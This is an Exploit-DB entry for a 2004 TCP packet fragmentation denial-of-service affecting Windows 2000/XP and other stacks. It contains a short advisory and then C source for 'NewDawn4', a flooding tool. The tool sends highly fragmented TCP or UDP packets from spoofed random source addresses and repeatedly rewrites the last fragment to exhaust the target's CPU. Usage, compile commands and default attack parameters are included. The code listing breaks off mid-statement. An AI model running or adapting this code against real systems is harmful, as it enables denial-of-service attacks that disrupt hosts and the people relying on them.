Exploit-DB #24637
Description: Microsoft Windows XP - TCP Packet Fragmentation Handling Denial of Service (4)
Type: dos
Platform: windows
Date: 2004-09-27
Author: Ken Hollis

Exploit:
// source: https://www.securityfocus.com/bid/11258/info
   
Multiple vendor implementations of the TCP stack are reported prone to a remote denial-of-service vulnerability.
   
The issue is reported to present itself due to inefficiencies present when handling fragmented TCP packets.
   
The discoverer of this issue has dubbed the attack style the "New Dawn attack"; it is a variation of a previously reported attack that was named the "Rose Attack".
   
A remote attacker may exploit this vulnerability to deny service to an affected computer.
   
Microsoft Windows 2000/XP, Linux kernel 2.4 tree, and undisclosed Cisco systems are reported prone to this vulnerability; other products may also be affected.

/*-------------------------------------------------------------*/
/*
  Implementation of Rose Attack described by Gandalf gandalf at digital.net
  Reference: Bugtraq, 30 mars 2004, "IPv4 fragmentation, The Rose Attack"

  NewDawn4.c written by Ken Hollis based on the code rose.c
  written by Laurent Constantin and NewDawn.c and NewDawn2.c 
  written by chuck modified from large IGMP attack by Kox by 
  Coolio (coolio (at) k-r4d.com)

  Program allows choice of TCP or UDP, number of packets to fragment, number
  of fragments per packet and number of times the last fragment is
  rewritten.

  Based on a conversation where it was mentioned that a highly fragmented
  packet would cause high CPU utilization if the last fragment was written
  over and over again.

  As chuck says, death by a thousand cuts.

  NewDawn4 allows smaller fragments (8 bytes) to be sent to the host.  See:
  http://digital.net/~gandalf/Rose_Frag_Attack_Explained.htm
  
 Usage : ./NewDawn4 type(1or2) ipaddress [port] [NumP] [Numt] [NumR] [NumF] [NumD]
 Example: ./NewDawn4 1 1.2.3.4 80 5 [PII_REDACTED] 2
   type      : 1=tcp, 2=udp
   ipaddress : address to test
   port      : optional port number (0 means random)
   NumP      : Number of packets to fragment (less than 1000)
   NumT      : Number of times last fragment is rewritten
   NumR      : Number of times to run test
   NumF      : Number of fragments per packet
   NumD      : Delta between fragements.  2 = 8 bytes blank
               16 bytes total between fragments (8 bytes 
	       payload + 8 bytes blank = 16 bytes),
               5 = 32 bytes blank (8 bytes payload + 32 bytes
	       blank = 40 bytes total = 5 * 8).

  Library netwib must be installed:
    http://www.laurentconstantin.com/en/netw/netwib/
    http://go.to/laurentconstantin

  To compile and run :
    gcc -Wall -o NewDawn4 NewDawn4.c `netwib-config -lc`
    ./NewDawn4 1 www.example.com 80

    The command:
    ./NewDawn4 1 10.12.14.16
    Is equivalent to:
    ./NewDawn4 1 10.12.14.16 0 5 [PII_REDACTED] 8
    Where:
    ./NewDawn4 = Program Name
    1 = TCP
    10.12.14.16 = IP Address
    0 = Random port numbers
    5 = Five packets to fragment before staring next set of packets
    9999 = The number of times to rewrite the last fragment of
           the five packets
    99999999 = The number of times to run this entire attack
    1021 = The number of middle fragments to write.
    8 = 64 bytes, 8 byte data + 56 bytes blank fragments (8 bytes * 8 = 64)

  This was successfully tested with netwib 5.12.0, under Linux
  to test a Windows 2000 host. Local network is Ethernet.
*/

/*-------------------------------------------------------------*/
// Test large number of packets
#define NUM_PACKETS 1000
#define NUM_LAST 9999
#define NUM_RUN 99999999
#define NUM_FRAG 8170
#define NUM_DELTA 8

#include <stdlib.h>
#include <stdio.h>
#include <netwib.h>

/*-------------------------------------------------------------*/
typedef enum {
  ROSE_TYPE_TCP = 1,
  ROSE_TYPE_UDP = 2
} rose_type;

/*-------------------------------------------------------------*/
typedef struct {
  rose_type type;
  netwib_ip ipad;
  netwib_port port;
  netwib_bool display;
  netwib_buf buf;
  netwib_io *pio;
} rose_params;

/*-------------------------------------------------------------*/
static netwib_err rose_loop(rose_params *prp, int npack, int nrew, 
		int nrun, int nfrag, int ndelta)
{
  netwib_iphdr ipheader, ipstore[NUM_PACKETS];
  netwib_tcphdr tcpheader, tcpstore[NUM_PACKETS];
  netwib_udphdr udpheader, udpstore[NUM_PACKETS];
  netwib_buf payload;
  netwib_uint32 numsent = 0;
  int i, j, nrun2;

printf("Packets %d Rewrite %d Runs %d Fragment packet to byte %d Delta %d\n\r",
           npack, nrew, nrun, nfrag, ndelta);
  
  for (nrun2=0; nrun2<nrun; nrun2++) {

    for (i=0; i<npack; i++){
	netwib_er(netwib_iphdr_initdefault(NETWIB_IPTYPE_IP4, &ipstore[i]));
	netwib_er(netwib_uint32_init_rand_all(&ipstore[i].src.ipvalue.ip4));
	switch(prp->type) {
	case ROSE_TYPE_TCP :
        netwib_er(netwib_tcphdr_initdefault(&tcpstore[i]));
        netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpstore[i].src));
        if (prp->port == 0) {
          netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpstore[i].dst));
	} else {
	  tcpstore[i].dst = prp->port;
    	}
        break;
	case ROSE_TYPE_UDP :
	netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpstore[i].src));
	if (prp->port == 0) {
	  netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpstore[i].dst));
        } else {
          udpstore[i].dst = prp->port;
        }
	break;
       }
    }
    
    for (i=0; i<npack; i++){
    /* construct first fragment */
    netwib__buf_reinit(&prp->buf);
    ipheader = ipstore[i];
    ipheader.header.ip4.morefrag = NETWIB_TRUE;
    ipheader.header.ip4.offsetfrag = 0; /* not necessary, but to be clear */
    ipheader.src.iptype = NETWIB_IPTYPE_IP4;
    ipheader.src.ipvalue.ip4 = ipstore[i].src.ipvalue.ip4;
    ipheader.dst = prp->ipad;
    switch(prp->type) {
    case ROSE_TYPE_TCP :
      tcpheader = tcpstore[i];
      tcpheader.src = tcpstore[i].src;
      tcpheader.dst = tcpstor